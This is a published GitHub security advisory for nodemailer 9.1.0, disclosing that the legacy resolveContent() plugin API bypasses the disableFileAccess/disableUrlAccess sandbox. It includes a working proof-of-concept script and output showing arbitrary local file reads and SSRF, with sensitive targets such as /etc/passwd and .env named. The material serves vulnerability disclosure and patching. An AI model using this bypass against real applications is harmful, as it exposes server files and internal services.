GHSA-8M3C-C648-2XJJ
Vulnerability from github – Published: 2026-09-08 21:16 – Updated: 2026-09-08 21:16Summary
Nodemailer's disableFileAccess / disableUrlAccess options are a security sandbox that lets an application forbid untrusted message content (html/text/attachment path/href) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit 5f69497) threaded these flags through the library's internal resolution paths (MailMessage.resolveAll() and _convertDataImages()), but the public plugin API MailMessage.resolveContent(...args) (lib/mailer/mail-message.js:41-43) remains a raw passthrough to shared.resolveContent().
When called with the documented legacy signature mail.resolveContent(data, key, callback), shared.resolveContent normalizes the missing options argument to an empty object (options = options || {}, lib/shared/index.js:530). The message-level flags that the MailMessage constructor already copied into mail.data (lib/mailer/mail-message.js:34-38) are silently discarded, so resolveContentValue skips both access-control guards and reaches nmfetch(url) (SSRF, lib/shared/index.js:588) or fs.createReadStream(path) (arbitrary file read, lib/shared/index.js:597).
A plugin or application code that resolves message content through the documented API (the same API the library's own _convertDataImages uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.
Details
Root cause. The MailMessage constructor stores the transporter-level sandbox flags on the message object (lib/mailer/mail-message.js:34-38):
['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {
if (key in options) {
this.data[key] = options[key];
}
});
The public resolver is a pure passthrough (lib/mailer/mail-message.js:41-43):
resolveContent(...args) {
return shared.resolveContent(...args);
}
shared.resolveContent supports the legacy 3-argument signature and collapses the missing options to {} (lib/shared/index.js:524-530):
module.exports.resolveContent = (data, key, options, callback) => {
// options is optional; support the legacy resolveContent(data, key, callback) signature
if (!callback && typeof options === 'function') {
callback = options;
options = false;
}
options = options || {};
...
resolveContentValue(data, key, options, callback);
resolveContentValue then checks options.disableUrlAccess / options.disableFileAccess (lib/shared/index.js:581 / :590), both undefined for the legacy signature, so it falls through to nmfetch (:588) or fs.createReadStream (:597).
Contrast with the fixed paths. resolveAll() (lib/mailer/mail-message.js:112-115) and _convertDataImages() (lib/mailer/index.js:437-440) both pass the message flags explicitly. The MIME streaming path (lib/mime-node/index.js:1059-1077) also honors the flags. So an application that enables the sandbox and then calls transporter.sendMail() is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the resolveContent JSDoc at lib/shared/index.js:510-523 states it is "useful when you want to create a plugin that needs a content value").
Affected versions. Confirmed on 9.1.0 (HEAD efd6e29c10c6e0c25c57bd2f2a71302838235a4f, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (test/mailer/mail-message-test.js contains no resolveContent test).
PoC
Requires: nodemailer@9.1.0, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.
'use strict';
const nodemailer = require('nodemailer');
const MailMessage = require('nodemailer/lib/mailer/mail-message');
const TARGET_FILE = '/app/src/package.json'; // any readable local file
const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target
const transporter = nodemailer.createTransport({
streamTransport: true,
disableFileAccess: true, // sandbox explicitly enabled
disableUrlAccess: true
});
const data = {
from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',
html: { path: TARGET_FILE },
attachments: [{ filename: 'x.bin', href: SSRF_URL }]
};
const mail = new MailMessage(transporter, data);
// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true
// Documented legacy plugin signature — options argument omitted:
mail.resolveContent(mail.data, 'html', (err, value) => {
if (err) return console.log('BLOCKED', err.code);
console.log('FILE_READ_OK len=', value.length); // -> 1647 (package.json)
});
mail.resolveContent(mail.data.attachments, 0, (err, body) => {
if (err) return console.log('BLOCKED', err.code);
console.log('URL_FETCH_OK body=', body.toString()); // -> fetched response
});
Observed output on the audit environment (Node 22, nodemailer@9.1.0):
mail.data.disableFileAccess = true | disableUrlAccess = true
[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json
[CONTROL html.path explicit-options] err = EFILEACCESS
[BYPASS html.path legacy] READ OK len = 1647 head = "{\n \"name\": \"nodemailer\",\n \"version\": \"9.1.0\",\n \"des"
[BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"
The negative controls (resolveAll, and resolveContent with explicit { disableFileAccess: true }) return EFILEACCESS, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real transporter.sendMail() flow when a compile plugin calls mail.resolveContent(mail.data, 'html', cb) / mail.resolveContent(mail.data.attachments, 0, cb).
Impact
An application that enables disableFileAccess / disableUrlAccess to contain untrusted message content and that resolves content through the documented plugin API (mail.resolveContent(data, key, callback)) has its sandbox silently bypassed:
- Arbitrary local file disclosure: a message
html/attachmentpathpointing at a server file (/etc/passwd,.env, key material) is read and returned to the caller / delivered in the message. - Server-side request forgery: a message
hrefpointing at an internal or loopback URL is fetched from the application host.
Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default transporter.sendMail() path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.1.0"
},
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T21:16:00Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nNodemailer\u0027s `disableFileAccess` / `disableUrlAccess` options are a security sandbox that lets an application forbid untrusted message content (`html`/`text`/attachment `path`/`href`) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the library\u0027s internal resolution paths (`MailMessage.resolveAll()` and `_convertDataImages()`), but the public plugin API `MailMessage.resolveContent(...args)` (`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to `shared.resolveContent()`.\n\nWhen called with the documented legacy signature `mail.resolveContent(data, key, callback)`, `shared.resolveContent` normalizes the missing options argument to an empty object (`options = options || {}`, `lib/shared/index.js:530`). The message-level flags that the `MailMessage` constructor already copied into `mail.data` (`lib/mailer/mail-message.js:34-38`) are silently discarded, so `resolveContentValue` skips both access-control guards and reaches `nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or `fs.createReadStream(path)` (arbitrary file read, `lib/shared/index.js:597`).\n\nA plugin or application code that resolves message content through the documented API (the same API the library\u0027s own `_convertDataImages` uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.\n\n### Details\n\nRoot cause. The `MailMessage` constructor stores the transporter-level sandbox flags on the message object (`lib/mailer/mail-message.js:34-38`):\n\n```js\n[\u0027disableFileAccess\u0027, \u0027disableUrlAccess\u0027, \u0027normalizeHeaderKey\u0027, \u0027maxRecipients\u0027].forEach(key =\u003e {\n if (key in options) {\n this.data[key] = options[key];\n }\n});\n```\n\nThe public resolver is a pure passthrough (`lib/mailer/mail-message.js:41-43`):\n\n```js\nresolveContent(...args) {\n return shared.resolveContent(...args);\n}\n```\n\n`shared.resolveContent` supports the legacy 3-argument signature and collapses the missing options to `{}` (`lib/shared/index.js:524-530`):\n\n```js\nmodule.exports.resolveContent = (data, key, options, callback) =\u003e {\n // options is optional; support the legacy resolveContent(data, key, callback) signature\n if (!callback \u0026\u0026 typeof options === \u0027function\u0027) {\n callback = options;\n options = false;\n }\n options = options || {};\n ...\n resolveContentValue(data, key, options, callback);\n```\n\n`resolveContentValue` then checks `options.disableUrlAccess` / `options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both `undefined` for the legacy signature, so it falls through to `nmfetch` (`:588`) or `fs.createReadStream` (`:597`).\n\nContrast with the fixed paths. `resolveAll()` (`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()` (`lib/mailer/index.js:437-440`) both pass the message flags explicitly. The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors the flags. So an application that enables the sandbox and then calls `transporter.sendMail()` is protected; the bypass appears only when message content is resolved through the public legacy-signature API \u2014 which is the documented plugin usage (the `resolveContent` JSDoc at `lib/shared/index.js:510-523` states it is \"useful when you want to create a plugin that needs a content value\").\n\nAffected versions. Confirmed on `9.1.0` (HEAD `efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (`test/mailer/mail-message-test.js` contains no `resolveContent` test).\n\n### PoC\n\nRequires: `nodemailer@9.1.0`, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.\n\n```js\n\u0027use strict\u0027;\nconst nodemailer = require(\u0027nodemailer\u0027);\nconst MailMessage = require(\u0027nodemailer/lib/mailer/mail-message\u0027);\n\nconst TARGET_FILE = \u0027/app/src/package.json\u0027; // any readable local file\nconst SSRF_URL = \u0027http://http-sink:8080/poc-ssrf\u0027; // any local/internal HTTP target\n\nconst transporter = nodemailer.createTransport({\n streamTransport: true,\n disableFileAccess: true, // sandbox explicitly enabled\n disableUrlAccess: true\n});\n\nconst data = {\n from: \u0027a@example.com\u0027, to: \u0027b@example.com\u0027, subject: \u0027poc\u0027, text: \u0027hello\u0027,\n html: { path: TARGET_FILE },\n attachments: [{ filename: \u0027x.bin\u0027, href: SSRF_URL }]\n};\nconst mail = new MailMessage(transporter, data);\n// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true\n\n// Documented legacy plugin signature \u2014 options argument omitted:\nmail.resolveContent(mail.data, \u0027html\u0027, (err, value) =\u003e {\n if (err) return console.log(\u0027BLOCKED\u0027, err.code);\n console.log(\u0027FILE_READ_OK len=\u0027, value.length); // -\u003e 1647 (package.json)\n});\nmail.resolveContent(mail.data.attachments, 0, (err, body) =\u003e {\n if (err) return console.log(\u0027BLOCKED\u0027, err.code);\n console.log(\u0027URL_FETCH_OK body=\u0027, body.toString()); // -\u003e fetched response\n});\n```\n\nObserved output on the audit environment (Node 22, `nodemailer@9.1.0`):\n\n```text\nmail.data.disableFileAccess = true | disableUrlAccess = true\n[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json\n[CONTROL html.path explicit-options] err = EFILEACCESS\n[BYPASS html.path legacy] READ OK len = 1647 head = \"{\\n \\\"name\\\": \\\"nodemailer\\\",\\n \\\"version\\\": \\\"9.1.0\\\",\\n \\\"des\"\n[BYPASS att[0].href legacy] FETCH OK len = 13 body = \"HTTP-SINK OK\\n\"\n```\n\nThe negative controls (`resolveAll`, and `resolveContent` with explicit `{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real `transporter.sendMail()` flow when a `compile` plugin calls `mail.resolveContent(mail.data, \u0027html\u0027, cb)` / `mail.resolveContent(mail.data.attachments, 0, cb)`.\n\n### Impact\n\nAn application that enables `disableFileAccess` / `disableUrlAccess` to contain untrusted message content and that resolves content through the documented plugin API (`mail.resolveContent(data, key, callback)`) has its sandbox silently bypassed:\n\n- Arbitrary local file disclosure: a message `html`/attachment `path` pointing at a server file (`/etc/passwd`, `.env`, key material) is read and returned to the caller / delivered in the message.\n- Server-side request forgery: a message `href` pointing at an internal or loopback URL is fetched from the application host.\n\nReachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default `transporter.sendMail()` path remains protected, so this is a defense-in-depth gap in the library\u0027s own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.",
"id": "GHSA-8m3c-c648-2xjj",
"modified": "2026-09-08T21:16:00Z",
"published": "2026-09-08T21:16:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Not confirmed: The user expressed doubt about the validity of the vulnerability.
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